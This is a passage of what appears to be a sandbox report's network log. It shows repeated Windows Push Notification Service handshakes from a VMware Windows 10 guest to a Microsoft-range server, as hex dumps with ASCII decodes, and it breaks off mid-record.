2024-12-20 21:52:16 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 36 43 43 49 49 33 49 6b 55 45 61 6b 35 39 52 49 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 30 34 66 30 35 35 38 38 33 62 66 63 30 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 75 34 2b 72 62 65 4f 36 32 67 56 41 64 43 47 6d 4a 57 6e 32 69 55 56 77 74 78 48 46 79 55 54 6b 58 59 76 67 47 4c 2f 66 68 44 4b 69 76 79 64 54 36 50 31 57 6b 73 33 64 53 47 69 69 66 46 63 2b 6e 7a 67 65 4a 64 36 7a 43 6d 2f 53 30 69 73 51 65 52 2b 6e 5a 36 70 55 75 76 2b 4e 61 37 78 63 38 6f 41 54 6d 31 39 70 61 50 6f 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 6CCII3IkUEak59RI.2Context: d104f055883bfc00<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWu4+rbeO62gVAdCGmJWn2iUVwtxHFyUTkXYvgGL/fhDKivydT6P1Wks3dSGiifFc+nzgeJd6zCm/S0isQeR+nZ6pUuv+Na7xc8oATm19paPo4
2024-12-20 21:52:16 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 36 43 43 49 49 33 49 6b 55 45 61 6b 35 39 52 49 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 30 34 66 30 35 35 38 38 33 62 66 63 30 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 6CCII3IkUEak59RI.3Context: d104f055883bfc00<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-20 21:52:16 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-20 21:52:16 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 72 41 4a 6b 2b 45 54 32 6c 30 69 67 74 6b 59 74 47 31 77 6c 32 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: rAJk+ET2l0igtkYtG1wl2w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49779	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-20 21:52:28 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 58 32 38 47 6f 50 65 43 68 45 2b 63 4a 42 37 68 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 39 33 64 39 34 61 36 65 35 34 36 61 32 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: X28GoPeChE+cJB7h.1Context: e93d94a6e546a22
2024-12-20 21:52:28 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-20 21:52:28 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 58 32 38 47 6f 50 65 43 68 45 2b 63 4a 42 37 68 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 39 33 64 39 34 61 36 65 35 34 36 61 32 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 75 34 2b 72 62 65 4f 36 32 67 56 41 64 43 47 6d 4a 57 6e 32 69 55 56 77 74 78 48 46 79 55 54 6b 58 59 76 67 47 4c 2f 66 68 44 4b 69 76 79 64 54 36 50 31 57 6b 73 33 64 53 47 69 69 66 46 63 2b 6e 7a 67 65 4a 64 36 7a 43 6d 2f 53 30 69 73 51 65 52 2b 6e 5a 36 70 55 75 76 2b 4e 61 37 78 63 38 6f 41 54 6d 31 39 70 61 50 6f 34 6b Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: X28GoPeChE+cJB7h.2Context: e93d94a6e546a22<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWu4+rbeO62gVAdCGmJWn2iUVwtxHFyUTkXYvgGL/fhDKivydT6P1Wks3dSGiifFc+nzgeJd6zCm/S0isQeR+nZ6pUuv+Na7xc8oATm19paPo4k
2024-12-20 21:52:28 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 58 32 38 47 6f 50 65 43 68 45 2b 63 4a 42 37 68 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 39 33 64 39 34 61 36 65 35 34 36 61 32 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: X28GoPeChE+cJB7h.3Context: e93d94a6e546a22<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-20 21:52:28 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-20 21:52:28 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 47 4e 5a 43 54 44 43 2b 45 55 79 72 58 4a 7a 45 50 30 57 52 71 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: GNZCTDC+EUyrXJzEP0WRqg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49815	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-20 21:52:42 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 31 6f 7a 45 33 64 42 2f 4e 45 69 6f 42 4d 38 6c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 61 62 35 31 39 63 64 37 31 61 32 64 39 61 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 1ozE3dB/NEioBM8l.1Context: 9ab519cd71a2d9af
2024-12-20 21:52:42 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-20 21:52:42 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 31 6f 7a 45 33 64 42 2f 4e 45 69 6f 42 4d 38 6c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 61 62 35 31 39 63 64 37 31 61 32 64 39 61 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 75 34 2b 72 62 65 4f 36 32 67 56 41 64 43 47 6d 4a 57 6e 32 69 55 56 77 74 78 48 46 79 55 54 6b 58 59 76 67 47 4c 2f 66 68 44 4b 69 76 79 64 54 36 50 31 57 6b 73 33 64 53 47 69 69 66 46 63 2b 6e 7a 67 65 4a 64 36 7a 43 6d 2f 53 30 69 73 51 65 52 2b 6e 5a 36 70 55 75 76 2b 4e 61 37 78 63 38 6f 41 54 6d 31 39 70 61 50 6f 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 1ozE3dB/NEioBM8l.2Context: 9ab519cd71a2d9af<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWu4+rbeO62gVAdCGmJWn2iUVwtxHFyUTkXYvgGL/fhDKivydT6P1Wks3dSGiifFc+nzgeJd6zCm/S0isQeR+nZ6pUuv+Na7xc8oATm19paPo4
2024-12-20 21:52:42 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 31 6f 7a 45 33 64 42 2f 4e 45 69 6f 42 4d 38 6c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 61 62 35 31 39 63 64 37 31 61 32 64 39 61 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 1ozE3dB/NEioBM8l.3Context: 9ab519cd71a2d9af<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-20 21:52:43 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-20 21:52:43 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 48 74 56 31 42 71 39 44 70 6b 61 65 62 58 76 56 58 39 65 32 39 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: HtV1Bq9DpkaebXvVX9e29g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49862	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-20 21:53:03 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 30 69 48 4a 30 63 43 53 2b 6b 4b 65 74 4e 6c 39 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 32 39 38 36 39 39 66 35 30 32 35 38 32 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 0iHJ0cCS+kKetNl9.1Context: ae298699f502582b
2024-12-20 21:53:03 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-20 21:53:03 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 30 69 48 4a 30 63 43 53 2b 6b 4b 65 74 4e 6c 39 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 32 39 38 36 39 39 66 35 30 32 35 38 32 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 75 34 2b 72 62 65 4f 36 32 67 56 41 64 43 47 6d 4a 57 6e 32 69 55 56 77 74 78 48 46 79 55 54 6b 58 59 76 67 47 4c 2f 66 68 44 4b 69 76 79 64 54 36 50 31 57 6b 73 33 64 53 47 69 69 66 46 63 2b 6e 7a 67 65 4a 64 36 7a 43 6d 2f 53 30 69 73 51 65 52 2b 6e 5a 36 70 55 75 76 2b 4e 61 37 78 63 38 6f 41 54 6d 31 39 70 61 50 6f 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 0iHJ0cCS+kKetNl9.2Context: ae298699f502582b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWu4+rbeO62gVAdCGmJWn2iUVwtxHFyUTkXYvgGL/fhDKivydT6P1Wks3dSGiifFc+nzgeJd6zCm/S0isQeR+nZ6pUuv+Na7xc8oATm19paPo4
2024-12-20 21:53:03 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 30 69 48 4a 30 63 43 53 2b 6b 4b 65 74 4e 6c 39 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 65 32 39 38 36 39 39 66 35 30 32 35 38 32 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 0iHJ0cCS+kKetNl9.3Context: ae298699f502582b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-20 21:53:03 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-20 21:53:03 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 69 6f 73 32 75 2f 50 39 6d 30 47 6b 43 47 50 56 6a 6f 44 6a 39 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ios2u/P9m0GkCGPVjoDj9w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49927	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-20 21:53:31 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 63 44 6b 36 72 32 64 2f 34 45 36 38 46 35 51 4f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 34 64 37 32 30 32 64 62 38 64 31 36 65 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: cDk6r2d/4E68F5QO.1Context: 144d7202db8d16eb
2024-12-20 21:53:31 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-20 21:53:31 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 63 44 6b 36 72 32 64 2f 34 45 36 38 46 35 51 4f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 34 64 37 32 30 32 64 62 38 64 31 36 65 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 75 34 2b 72 62 65 4f 36 32 67 56 41 64 43 47 6d 4a 57 6e 32 69 55 56 77 74 78 48 46 79 55 54 6b 58 59 76 67 47 4c 2f 66 68 44 4b 69 76 79 64 54 36 50 31 57 6b 73 33 64 53 47 69 69 66 46 63 2b 6e 7a 67 65 4a 64 36 7a 43 6d 2f 53 30 69 73 51 65 52 2b 6e 5a 36 70 55 75 76 2b 4e 61 37 78 63 38 6f 41 54 6d 31 39 70 61 50 6f 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: cDk6r2d/4E68F5QO.2Context: 144d7202db8d16eb<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWu4+rbeO62gVAdCGmJWn2iUVwtxHFyUTkXYvgGL/fhDKivydT6P1Wks3dSGiifFc+nzgeJd6zCm/S0isQeR+nZ6pUuv+Na7xc8oATm19paPo4
2024-12-20 21:53:31 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 63 44 6b 36 72 32 64 2f 34 45 36 38 46 35 51 4f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 34 64 37 32 30 32 64 62 38 64 31 36 65 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: cDk6r2d/4E68F5QO.3Context: 144d7202db8d16eb<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-20 21:53:32 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-20 21:53:32 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 38 59 6a 73 2b 4b 48 74 78 30 4b 72 58 59 69 5a 43 65 66 4a 6a 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 8Yjs+KHtx0KrXYiZCefJjw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	50006	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-20 21:54:05 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 31 71 6a 66 36 30 49 43 4a 45 57 62 30 49 4d 35 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 32 38 37 61 37 35 39 65 63 35 39 31 36 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 1qjf60ICJEWb0IM5.1Context: ec287a759ec59160
2024-12-20 21:54:05 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-20 21:54:05 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 31 71 6a 66 36 30 49 43 4a 45 57 62 30 49 4d 35 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 32 38 37 61 37 35 39 65 63 35 39 31 36 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 75 34 2b 72 62 65 4f 36 32 67 56 41 64 43 47 6d 4a 57 6e 32 69 55 56 77 74 78 48 46 79 55 54 6b 58 59 76 67 47 4c 2f 66 68 44 4b 69 76 79 64 54 36 50 31 57 6b 73 33 64 53 47 69 69 66 46 63 2b 6e 7a 67 65 4a 64 36 7a 43 6d 2f 53 30 69 73 51 65 52 2b 6e 5a 36 70 55 75 76 2b 4e 61 37 78 63 38 6f 41 54 6d 31 39 70 61 50 